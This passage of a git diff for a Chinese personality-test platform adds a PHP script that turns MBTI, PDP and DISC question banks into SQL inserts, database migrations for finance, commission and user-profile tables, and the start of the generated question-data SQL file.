[['value' => 'J', 'text' => '尽快做出决定并执行'], ['value' => 'P', 'text' => '保持选项开放,等待更多信息']], 'dimension' => 'JP'], + ['id' => 74, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '按照既定的时间表和计划行事'], ['value' => 'P', 'text' => '根据当下的情况和感受行事']], 'dimension' => 'JP'], + ['id' => 75, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '完成一项任务后再开始下一项'], ['value' => 'P', 'text' => '同时处理多项任务,根据情况切换']], 'dimension' => 'JP'], + ['id' => 76, 'question' => '您更喜欢的工作方式是:', 'options' => [['value' => 'J', 'text' => '有明确的目标和截止日期'], ['value' => 'P', 'text' => '灵活的工作流程,可以随时调整']], 'dimension' => 'JP'], + ['id' => 77, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '提前做决定,避免最后一刻的压力'], ['value' => 'P', 'text' => '保持选项开放,等待最佳时机']], 'dimension' => 'JP'], + ['id' => 78, 'question' => '您的工作区域通常是:', 'options' => [['value' => 'J', 'text' => '整洁有序,物品摆放有规律'], ['value' => 'P', 'text' => '创意性混乱,物品随手可及']], 'dimension' => 'JP'], + ['id' => 79, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '按部就班地完成任务'], ['value' => 'P', 'text' => '在灵感来临时集中精力工作']], 'dimension' => 'JP'], + ['id' => 80, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '有明确的规则和指导方针'], ['value' => 'P', 'text' => '灵活的环境,可以自由发挥']], 'dimension' => 'JP'], + ['id' => 81, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '提前计划假期和活动'], ['value' => 'P', 'text' => '即兴决定和安排活动']], 'dimension' => 'JP'], + ['id' => 82, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '有明确的日程安排'], ['value' => 'P', 'text' => '根据当天的情况决定']], 'dimension' => 'JP'], + ['id' => 83, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '按照计划行事,避免意外'], ['value' => 'P', 'text' => '适应变化,享受意外惊喜']], 'dimension' => 'JP'], + ['id' => 84, 'question' => '您更喜欢的生活方式是:', 'options' => [['value' => 'J', 'text' => '有规律和可预测的'], ['value' => 'P', 'text' => '自然流动和多变的']], 'dimension' => 'JP'], + ['id' => 85, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '提前做好准备,避免匆忙'], ['value' => 'P', 'text' => '在最后一刻完成准备,保持灵活性']], 'dimension' => 'JP'], + ['id' => 86, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '明确的指导和方向'], ['value' => 'P', 'text' => '探索不同的可能性']], 'dimension' => 'JP'], + ['id' => 87, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '按照既定的程序和方法工作'], ['value' => 'P', 'text' => '根据情况调整工作方法']], 'dimension' => 'JP'], + ['id' => 88, 'question' => '您更喜欢:', 'options' => [['value' => 'J', 'text' => '有明确的目标和计划'], ['value' => 'P', 'text' => '保持开放的态度,随机应变']], 'dimension' => 'JP'], + ['id' => 89, 'question' => '您更倾向于:', 'options' => [['value' => 'J', 'text' => '做决定并坚持执行'], ['value' => 'P', 'text' => '保持灵活,根据新信息调整']], 'dimension' => 'JP'], + ['id' => 90, 'question' => '您更喜欢的工作环境是:', 'options' => [['value' => 'J', 'text' => '有明确的期望和截止日期'], ['value' => 'P', 'text' => '灵活的工作流程和时间安排']], 'dimension' => 'JP'], +]; + +// PDP 题库数据(从 pdp-questions.ts 提取) +$pdpQuestions = [ + ['id' => 1, 'question' => '面对紧急任务,您的第一反应是:', 'options' => [['value' => 'Tiger', 'text' => '立即行动,快速完成'], ['value' => 'Peacock', 'text' => '召集团队,激励大家'], ['value' => 'Koala', 'text' => '冷静分析,稳步推进'], ['value' => 'Owl', 'text' => '仔细规划,确保无误'], ['value' => 'Chameleon', 'text' => '根据情况灵活应对']]], + ['id' => 2, 'question' => '在社交场合,您通常会:', 'options' => [['value' => 'Tiger', 'text' => '主导话题,引领讨论'], ['value' => 'Peacock', 'text' => '活跃气氛,成为焦点'], ['value' => 'Koala', 'text' => '安静倾听,适时回应'], ['value' => 'Owl', 'text' => '观察分析,选择性交流'], ['value' => 'Chameleon', 'text' => '根据对象调整方式']]], + ['id' => 3, 'question' => '您最看重工作中的:', 'options' => [['value' => 'Tiger', 'text' => '权力和成就'], ['value' => 'Peacock', 'text' => '认可和赞赏'], ['value' => 'Koala', 'text' => '稳定和和谐'], ['value' => 'Owl', 'text' => '准确和质量'], ['value' => 'Chameleon', 'text' => '平衡和适应']]], + ['id' => 4, 'question' => '处理冲突时,您倾向于:', 'options' => [['value' => 'Tiger', 'text' => '直接面对,迅速解决'], ['value' => 'Peacock', 'text' => '调解双方,化解矛盾'], ['value' => 'Koala', 'text' => '避免冲突,维护和平'], ['value' => 'Owl', 'text' => '分析原因,理性处理'], ['value' => 'Chameleon', 'text' => '灵活应对,视情况而定']]], + ['id' => 5, 'question' => '您的决策风格是:', 'options' => [['value' => 'Tiger', 'text' => '果断迅速,行动导向'], ['value' => 'Peacock', 'text' => '直觉判断,情感驱动'], ['value' => 'Koala', 'text' => '深思熟虑,追求共识'], ['value' => 'Owl', 'text' => '数据分析,逻辑推理'], ['value' => 'Chameleon', 'text' => '综合考虑,灵活决策']]], + ['id' => 6, 'question' => '面对压力,您会:', 'options' => [['value' => 'Tiger', 'text' => '更加强势,控制局面'], ['value' => 'Peacock', 'text' => '寻求支持,表达情绪'], ['value' => 'Koala', 'text' => '保持冷静,稳定情绪'], ['value' => 'Owl', 'text' => '更加谨慎,反复确认'], ['value' => 'Chameleon', 'text' => '调整策略,灵活应对']]], + ['id' => 7, 'question' => '您的领导风格是:', 'options' => [['value' => 'Tiger', 'text' => '指挥型,明确方向'], ['value' => 'Peacock', 'text' => '激励型,鼓舞士气'], ['value' => 'Koala', 'text' => '支持型,关怀团队'], ['value' => 'Owl', 'text' => '专家型,以身作则'], ['value' => 'Chameleon', 'text' => '教练型,因材施教']]], + ['id' => 8, 'question' => '您处理细节的方式是:', 'options' => [['value' => 'Tiger', 'text' => '关注大局,委托他人'], ['value' => 'Peacock', 'text' => '可能忽略,更重整体'], ['value' => 'Koala', 'text' => '认真对待,确保准确'], ['value' => 'Owl', 'text' => '极度重视,追求完美'], ['value' => 'Chameleon', 'text' => '视情况决定关注程度']]], + ['id' => 9, 'question' => '您的沟通方式是:', 'options' => [['value' => 'Tiger', 'text' => '直接简短,注重结果'], ['value' => 'Peacock', 'text' => '热情生动,富有感染力'], ['value' => 'Koala', 'text' => '温和耐心,善于倾听'], ['value' => 'Owl', 'text' => '逻辑清晰,注重事实'], ['value' => 'Chameleon', 'text' => '根据对象调整方式']]], + ['id' => 10, 'question' => '您对变化的态度是:', 'options' => [['value' => 'Tiger', 'text' => '主动推动,寻找机会'], ['value' => 'Peacock', 'text' => '积极拥抱,乐观面对'], ['value' => 'Koala', 'text' => '需要适应时间'], ['value' => 'Owl', 'text' => '谨慎评估,确保万全'], ['value' => 'Chameleon', 'text' => '灵活适应,随机应变']]], + ['id' => 11, 'question' => '您的时间管理风格是:', 'options' => [['value' => 'Tiger', 'text' => '高效利用,追求速度'], ['value' => 'Peacock', 'text' => '灵活安排,留有余地'], ['value' => 'Koala', 'text' => '按部就班,稳定执行'], ['value' => 'Owl', 'text' => '精确规划,严格执行'], ['value' => 'Chameleon', 'text' => '根据情况调整计划']]], + ['id' => 12, 'question' => '您被什么激励:', 'options' => [['value' => 'Tiger', 'text' => '成就和权力'], ['value' => 'Peacock', 'text' => '认可和赞赏'], ['value' => 'Koala', 'text' => '安全和归属'], ['value' => 'Owl', 'text' => '正确和标准'], ['value' => 'Chameleon', 'text' => '多样性和平衡']]], + ['id' => 13, 'question' => '您的学习方式是:', 'options' => [['value' => 'Tiger', 'text' => '边做边学,实践第一'], ['value' => 'Peacock', 'text' => '互动讨论,分享学习'], ['value' => 'Koala', 'text' => '循序渐进,反复练习'], ['value' => 'Owl', 'text' => '深入研究,系统学习'], ['value' => 'Chameleon', 'text' => '多种方式结合']]], + ['id' => 14, 'question' => '您对规则的态度是:', 'options' => [['value' => 'Tiger', 'text' => '规则是用来打破的'], ['value' => 'Peacock', 'text' => '灵活运用,不拘一格'], ['value' => 'Koala', 'text' => '遵守规则,维护秩序'], ['value' => 'Owl', 'text' => '严格遵守,确保合规'], ['value' => 'Chameleon', 'text' => '视情况灵活处理']]], + ['id' => 15, 'question' => '您在团队中的角色是:', 'options' => [['value' => 'Tiger', 'text' => '领导者,推动进展'], ['value' => 'Peacock', 'text' => '激励者,凝聚人心'], ['value' => 'Koala', 'text' => '协调者,维护和谐'], ['value' => 'Owl', 'text' => '专家,提供专业意见'], ['value' => 'Chameleon', 'text' => '多面手,灵活补位']]], + ['id' => 16, 'question' => '您的工作节奏是:', 'options' => [['value' => 'Tiger', 'text' => '快节奏,追求效率'], ['value' => 'Peacock', 'text' => '充满活力,变化多端'], ['value' => 'Koala', 'text' => '稳定有序,按部就班'], ['value' => 'Owl', 'text' => '有条理,精确执行'], ['value' => 'Chameleon', 'text' => '根据需要调整节奏']]], + ['id' => 17, 'question' => '您最大的优势是:', 'options' => [['value' => 'Tiger', 'text' => '决断力和执行力'], ['value' => 'Peacock', 'text' => '影响力和感染力'], ['value' => 'Koala', 'text' => '耐心和可靠性'], ['value' => 'Owl', 'text' => '分析力和准确性'], ['value' => 'Chameleon', 'text' => '适应力和灵活性']]], + ['id' => 18, 'question' => '您的人际关系特点是:', 'options' => [['value' => 'Tiger', 'text' => '目标导向,建立有价值的关系'], ['value' => 'Peacock', 'text' => '广泛社交,朋友众多'], ['value' => 'Koala', 'text' => '深度交往,关系稳定'], ['value' => 'Owl', 'text' => '选择性交往,志同道合'], ['value' => 'Chameleon', 'text' => '根据情况建立不同类型关系']]], + ['id' => 19, 'question' => '面对批评,您的反应是:', 'options' => [['value' => 'Tiger', 'text' => '可能会反驳或辩护'], ['value' => 'Peacock', 'text' => '可能会感到受伤'], ['value' => 'Koala', 'text' => '接受并思考改进'], ['value' => 'Owl', 'text' => '分析批评的合理性'], ['value' => 'Chameleon', 'text' => '根据情况调整反应']]], + ['id' => 20, 'question' => '您的理想工作环境是:', 'options' => [['value' => 'Tiger', 'text' => '充满挑战,自主权高'], ['value' => 'Peacock', 'text' => '互动频繁,氛围活跃'], ['value' => 'Koala', 'text' => '稳定和谐,团队协作'], ['value' => 'Owl', 'text' => '有序规范,专注质量'], ['value' => 'Chameleon', 'text' => '灵活多变,兼顾平衡']]], +]; + +// DISC 题库数据(从 disc-questions.ts 提取) +$discQuestions = [ + ['id' => 1, 'question' => '在团队中,您更倾向于:', 'options' => [['value' => 'D', 'text' => '主导决策,带领团队前进'], ['value' => 'I', 'text' => '活跃气氛,激励团队成员'], ['value' => 'S', 'text' => '支持他人,确保团队和谐'], ['value' => 'C', 'text' => '分析数据,确保决策质量']]], + ['id' => 2, 'question' => '面对挑战时,您的第一反应是:', 'options' => [['value' => 'D', 'text' => '立即行动,解决问题'], ['value' => 'I', 'text' => '寻找支持,团队协作'], ['value' => 'S', 'text' => '冷静思考,稳步推进'], ['value' => 'C', 'text' => '收集信息,谨慎分析']]], + ['id' => 3, 'question' => '您在工作中最看重的是:', 'options' => [['value' => 'D', 'text' => '成果和效率'], ['value' => 'I', 'text' => '认可和赞赏'], ['value' => 'S', 'text' => '稳定和安全'], ['value' => 'C', 'text' => '准确和质量']]], + ['id' => 4, 'question' => '与他人沟通时,您通常:', 'options' => [['value' => 'D', 'text' => '直接了当,注重结果'], ['value' => 'I', 'text' => '热情友好,善于表达'], ['value' => 'S', 'text' => '耐心倾听,体贴理解'], ['value' => 'C', 'text' => '逻辑清晰,注重细节']]], + ['id' => 5, 'question' => '压力之下,您会:', 'options' => [['value' => 'D', 'text' => '变得更加强势和控制'], ['value' => 'I', 'text' => '寻求他人支持和鼓励'], ['value' => 'S', 'text' => '保持冷静,按部就班'], ['value' => 'C', 'text' => '更加谨慎,反复确认']]], + ['id' => 6, 'question' => '您认为自己的优势是:', 'options' => [['value' => 'D', 'text' => '决断力强,行动迅速'], ['value' => 'I', 'text' => '人际关系好,善于激励'], ['value' => 'S', 'text' => '可靠稳定,团队协作'], ['value' => 'C', 'text' => '分析能力强,注重细节']]], + ['id' => 7, 'question' => '在会议中,您通常扮演的角色是:', 'options' => [['value' => 'D', 'text' => '主导者,推动决策'], ['value' => 'I', 'text' => '激励者,调动气氛'], ['value' => 'S', 'text' => '调和者,平衡各方'], ['value' => 'C', 'text' => '分析者,提供数据']]], + ['id' => 8, 'question' => '您最不喜欢的工作环境是:', 'options' => [['value' => 'D', 'text' => '缺乏挑战,进展缓慢'], ['value' => 'I', 'text' => '被孤立,缺乏互动'], ['value' => 'S', 'text' => '变化太快,不稳定'], ['value' => 'C', 'text' => '混乱无序,缺乏标准']]], + ['id' => 9, 'question' => '做决定时,您更依赖:', 'options' => [['value' => 'D', 'text' => '直觉和经验'], ['value' => 'I', 'text' => '他人的意见'], ['value' => 'S', 'text' => '过去的成功经验'], ['value' => 'C', 'text' => '数据和事实']]], + ['id' => 10, 'question' => '您的工作风格是:', 'options' => [['value' => 'D', 'text' => '快速高效,注重结果'], ['value' => 'I', 'text' => '灵活多变,充满创意'], ['value' => 'S', 'text' => '稳定持续,一步一步'], ['value' => 'C', 'text' => '严谨细致,追求完美']]], + ['id' => 11, 'question' => '遇到冲突时,您会:', 'options' => [['value' => 'D', 'text' => '直面冲突,解决问题'], ['value' => 'I', 'text' => '调解双方,化解矛盾'], ['value' => 'S', 'text' => '避免冲突,保持和谐'], ['value' => 'C', 'text' => '分析原因,找出根本']]], + ['id' => 12, 'question' => '您期望的领导风格是:', 'options' => [['value' => 'D', 'text' => '给予挑战和自主权'], ['value' => 'I', 'text' => '认可和表扬'], ['value' => 'S', 'text' => '稳定和支持'], ['value' => 'C', 'text' => '明确的指导和标准']]], + ['id' => 13, 'question' => '处理任务时,您更注重:', 'options' => [['value' => 'D', 'text' => '速度和效率'], ['value' => 'I', 'text' => '创意和新颖'], ['value' => 'S', 'text' => '过程和协作'], ['value' => 'C', 'text' => '质量和准确']]], + ['id' => 14, 'question' => '您的社交方式是:', 'options' => [['value' => 'D', 'text' => '目的明确,建立有价值的关系'], ['value' => 'I', 'text' => '广泛社交,认识各种人'], ['value' => 'S', 'text' => '深度交往,维护长期友谊'], ['value' => 'C', 'text' => '选择性社交,志同道合']]], + ['id' => 15, 'question' => '您理想的工作节奏是:', 'options' => [['value' => 'D', 'text' => '快节奏,充满挑战'], ['value' => 'I', 'text' => '灵活多变,充满活力'], ['value' => 'S', 'text' => '稳定有序,可预测的'], ['value' => 'C', 'text' => '有条理,按计划进行']]], + ['id' => 16, 'question' => '面对变化,您的态度是:', 'options' => [['value' => 'D', 'text' => '主动拥抱,寻找机会'], ['value' => 'I', 'text' => '积极适应,乐观面对'], ['value' => 'S', 'text' => '需要时间,逐步适应'], ['value' => 'C', 'text' => '谨慎评估,确保万无一失']]], + ['id' => 17, 'question' => '您的时间管理风格是:', 'options' => [['value' => 'D', 'text' => '高效利用,最大化产出'], ['value' => 'I', 'text' => '灵活安排,留有余地'], ['value' => 'S', 'text' => '按部就班,稳定执行'], ['value' => 'C', 'text' => '精确规划,严格执行']]], + ['id' => 18, 'question' => '激励您的是:', 'options' => [['value' => 'D', 'text' => '成就和控制'], ['value' => 'I', 'text' => '认可和社交'], ['value' => 'S', 'text' => '稳定和归属'], ['value' => 'C', 'text' => '正确和标准']]], + ['id' => 19, 'question' => '您处理细节的方式是:', 'options' => [['value' => 'D', 'text' => '关注大局,委托他人'], ['value' => 'I', 'text' => '可能忽略,更关注整体'], ['value' => 'S', 'text' => '认真对待,确保准确'], ['value' => 'C', 'text' => '极度重视,追求完美']]], + ['id' => 20, 'question' => '您对规则的态度是:', 'options' => [['value' => 'D', 'text' => '规则是用来打破的'], ['value' => 'I', 'text' => '灵活运用,不拘泥于规则'], ['value' => 'S', 'text' => '遵守规则,维护秩序'], ['value' => 'C', 'text' => '严格遵守,确保合规']]], +]; + +// 生成 SQL INSERT 语句 +function generateSQL($questions, $type, $enterpriseId = null) { + $sql = "-- {$type} 题库数据\n"; + $sql .= "-- enterpriseId: " . ($enterpriseId === null ? 'NULL (超管题库)' : $enterpriseId) . "\n\n"; + + foreach ($questions as $q) { + $optionsJson = json_encode($q['options'], JSON_UNESCAPED_UNICODE); + $dimension = isset($q['dimension']) ? "'" . addslashes($q['dimension']) . "'" : 'NULL'; + $enterpriseIdSql = $enterpriseId === null ? 'NULL' : $enterpriseId; + + $sql .= "INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES "; + $sql .= "('{$type}', '" . addslashes($q['question']) . "', '" . addslashes($optionsJson) . "', {$dimension}, {$enterpriseIdSql}, {$q['id']}, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP());\n"; + } + + return $sql . "\n"; +} + +// 生成完整的 SQL 文件 +$sqlContent = "-- ============================================\n"; +$sqlContent .= "-- 题库数据导入 SQL\n"; +$sqlContent .= "-- 来源:mbti2 项目\n"; +$sqlContent .= "-- 生成时间:" . date('Y-m-d H:i:s') . "\n"; +$sqlContent .= "-- ============================================\n\n"; +$sqlContent .= "SET NAMES utf8mb4;\n"; +$sqlContent .= "SET FOREIGN_KEY_CHECKS = 0;\n\n"; + +// 超管题库(enterpriseId = NULL) +$sqlContent .= "-- ============================================\n"; +$sqlContent .= "-- 超管题库(enterpriseId = NULL)\n"; +$sqlContent .= "-- ============================================\n\n"; +$sqlContent .= generateSQL($mbtiQuestions, 'mbti', null); +$sqlContent .= generateSQL($pdpQuestions, 'pdp', null); +$sqlContent .= generateSQL($discQuestions, 'disc', null); + +$sqlContent .= "SET FOREIGN_KEY_CHECKS = 1;\n"; + +// 保存到文件 +file_put_contents(__DIR__ . '/questions_data.sql', $sqlContent); + +echo "SQL 文件已生成:questions_data.sql\n"; +echo "MBTI 题目数:" . count($mbtiQuestions) . "\n"; +echo "PDP 题目数:" . count($pdpQuestions) . "\n"; +echo "DISC 题目数:" . count($discQuestions) . "\n"; +echo "总计:" . (count($mbtiQuestions) + count($pdpQuestions) + count($discQuestions)) . " 题\n"; + diff --git a/api/database/fix_finance_records_to_fen.sql b/api/database/fix_finance_records_to_fen.sql new file mode 100644 index 0000000..b3117bb --- /dev/null +++ b/api/database/fix_finance_records_to_fen.sql @@ -0,0 +1,14 @@ +-- 将 mbti_finance_records 的金额字段统一为分 +-- 适用于历史上 amount / balanceBefore / balanceAfter 按元(decimal)存储的场景 + +UPDATE `mbti_finance_records` +SET + `amount` = ROUND(`amount` * 100), + `balanceBefore` = ROUND(`balanceBefore` * 100), + `balanceAfter` = ROUND(`balanceAfter` * 100) +WHERE `amount` < 1000000 OR `balanceBefore` < 1000000 OR `balanceAfter` < 1000000; + +ALTER TABLE `mbti_finance_records` + MODIFY COLUMN `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)', + MODIFY COLUMN `balanceBefore` int(11) NULL DEFAULT 0 COMMENT '操作前余额(分)', + MODIFY COLUMN `balanceAfter` int(11) NULL DEFAULT 0 COMMENT '操作后余额(分)'; diff --git a/api/database/fix_test_completion_commission_records.sql b/api/database/fix_test_completion_commission_records.sql new file mode 100644 index 0000000..0db8629 --- /dev/null +++ b/api/database/fix_test_completion_commission_records.sql @@ -0,0 +1,24 @@ +-- 修复测试完成佣金历史脏数据 +-- 执行前请先确认表前缀是否为 mbti_ + +UPDATE `mbti_commission_records` `cr` +LEFT JOIN `mbti_test_results` `tr` ON `tr`.`id` = `cr`.`testResultId` +LEFT JOIN `mbti_distribution_bindings` `db` ON `db`.`id` = `cr`.`bindingId` +SET + `cr`.`commissionAmount` = ROUND(`cr`.`commissionFen` / 100, 2), + `cr`.`paidAt` = CASE + WHEN `cr`.`status` = 'paid' AND `cr`.`paidAt` IS NULL THEN `cr`.`createdAt` + ELSE `cr`.`paidAt` + END, + `cr`.`enterpriseId` = CASE + WHEN (`cr`.`enterpriseId` IS NULL OR `cr`.`enterpriseId` = 0) + THEN NULLIF(COALESCE(NULLIF(`tr`.`enterpriseId`, 0), NULLIF(`db`.`enterpriseId`, 0)), 0) + ELSE `cr`.`enterpriseId` + END +WHERE `cr`.`commissionSource` = 'test_completion' + AND ( + `cr`.`commissionAmount` IS NULL + OR `cr`.`commissionAmount` = 0 + OR (`cr`.`status` = 'paid' AND `cr`.`paidAt` IS NULL) + OR ((`cr`.`enterpriseId` IS NULL OR `cr`.`enterpriseId` = 0) AND ((`tr`.`enterpriseId` > 0) OR (`db`.`enterpriseId` > 0))) + ); diff --git a/api/database/migrations/add_birthday_to_wechat_users.sql b/api/database/migrations/add_birthday_to_wechat_users.sql new file mode 100644 index 0000000..ec12ba7 --- /dev/null +++ b/api/database/migrations/add_birthday_to_wechat_users.sql @@ -0,0 +1,3 @@ +-- 为 wechat_users 表添加 birthday 字段(个人资料页用) +-- 执行: 在数据库中运行此 SQL +ALTER TABLE `mbti_wechat_users` ADD COLUMN `birthday` varchar(20) NULL DEFAULT NULL COMMENT '生日,格式 YYYY-MM-DD' AFTER `city`; diff --git a/api/database/questions_data.sql b/api/database/questions_data.sql new file mode 100644 index 0000000..887480d --- /dev/null +++ b/api/database/questions_data.sql @@ -0,0 +1,166 @@ +-- ============================================ +-- 题库数据导入 SQL +-- 来源:mbti2 项目 +-- 生成时间:2026-02-12 15:24:36 +-- ============================================ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ============================================ +-- 检查并添加 dimension 字段(如果不存在) +-- ============================================ +-- 注意:如果字段已存在,此语句会报错,但可以忽略,不影响后续执行 +-- 如果您的 MySQL 版本支持,可以使用以下方式避免错误: +-- ALTER TABLE `mbti_questions` ADD COLUMN IF NOT EXISTS `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)' AFTER `options`; + +-- 如果字段不存在,执行以下语句添加: +-- ALTER TABLE `mbti_questions` ADD COLUMN `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)' AFTER `options`; + +-- ============================================ +-- 超管题库(enterpriseId = NULL) +-- ============================================ + +-- mbti 题库数据 +-- enterpriseId: NULL (超管题库) + +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在社交场合中,您通常会:', '[{\"value\":\"E\",\"text\":\"认识新朋友,扩大社交圈\"},{\"value\":\"I\",\"text\":\"与已认识的朋友交流,保持小圈子\"}]', 'EI', NULL, 1, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢:', '[{\"value\":\"E\",\"text\":\"在团队中工作,与他人合作\"},{\"value\":\"I\",\"text\":\"独立工作,自己思考问题\"}]', 'EI', NULL, 2, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当您需要充电时,您会选择:', '[{\"value\":\"E\",\"text\":\"与朋友聚会,参加社交活动\"},{\"value\":\"I\",\"text\":\"独处,阅读或进行个人爱好\"}]', 'EI', NULL, 3, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在会议或讨论中,您通常:', '[{\"value\":\"E\",\"text\":\"积极发言,边说边思考\"},{\"value\":\"I\",\"text\":\"先思考,然后再发表意见\"}]', 'EI', NULL, 4, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更倾向于:', '[{\"value\":\"E\",\"text\":\"认识很多人,建立广泛的社交网络\"},{\"value\":\"I\",\"text\":\"与少数几个人建立深厚的友谊\"}]', 'EI', NULL, 5, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在工作环境中,您更喜欢:', '[{\"value\":\"E\",\"text\":\"开放的办公空间,可以随时与同事交流\"},{\"value\":\"I\",\"text\":\"安静的私人空间,可以专注工作\"}]', 'EI', NULL, 6, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当面对问题时,您更倾向于:', '[{\"value\":\"E\",\"text\":\"与他人讨论,获取不同观点\"},{\"value\":\"I\",\"text\":\"独自思考,寻找解决方案\"}]', 'EI', NULL, 7, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的休闲活动是:', '[{\"value\":\"E\",\"text\":\"参加派对、团体活动或体育比赛\"},{\"value\":\"I\",\"text\":\"阅读、看电影或独自进行创作\"}]', 'EI', NULL, 8, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在陌生环境中,您通常会:', '[{\"value\":\"E\",\"text\":\"主动与他人交谈,快速融入环境\"},{\"value\":\"I\",\"text\":\"观察周围环境,等待他人接近\"}]', 'EI', NULL, 9, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您认为自己是:', '[{\"value\":\"E\",\"text\":\"外向、健谈的人\"},{\"value\":\"I\",\"text\":\"内敛、安静的人\"}]', 'EI', NULL, 10, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '长时间的社交活动后,您通常会:', '[{\"value\":\"E\",\"text\":\"感到精力充沛,想继续社交\"},{\"value\":\"I\",\"text\":\"感到疲惫,需要独处恢复精力\"}]', 'EI', NULL, 11, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的工作方式是:', '[{\"value\":\"E\",\"text\":\"与团队一起头脑风暴和协作\"},{\"value\":\"I\",\"text\":\"独立思考和解决问题\"}]', 'EI', NULL, 12, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更容易:', '[{\"value\":\"E\",\"text\":\"在说话的过程中组织思路\"},{\"value\":\"I\",\"text\":\"在说话前先组织好思路\"}]', 'EI', NULL, 13, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的学习方式是:', '[{\"value\":\"E\",\"text\":\"小组讨论和互动学习\"},{\"value\":\"I\",\"text\":\"自学和独立研究\"}]', 'EI', NULL, 14, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '当您有好消息时,您会:', '[{\"value\":\"E\",\"text\":\"立即告诉朋友和家人分享喜悦\"},{\"value\":\"I\",\"text\":\"只告诉少数几个亲近的人\"}]', 'EI', NULL, 15, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '您更喜欢的假期类型是:', '[{\"value\":\"E\",\"text\":\"热闹的旅游胜地,有很多活动和人\"},{\"value\":\"I\",\"text\":\"安静的度假地,可以放松和思考\"}]', 'EI', NULL, 16, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', '在团队项目中,您更倾向于:', '[{\"value\":\"E\",\"text\":\"担任协调者或发言人的角色\"},{\"value\":\"I\",\"text\":\"负责研究或分析的工作\"}]', 'EI', NULL, 17, 1, UNIX_TIMESTAMP(), UNIX_TIMESTAMP()); +INSERT INTO `mbti_questions` (`type`, `question`, `options`, `dimension`, `enterpriseId`, `sort`, `status`, `createdAt`, `updatedAt`) VALUES ('mbti', 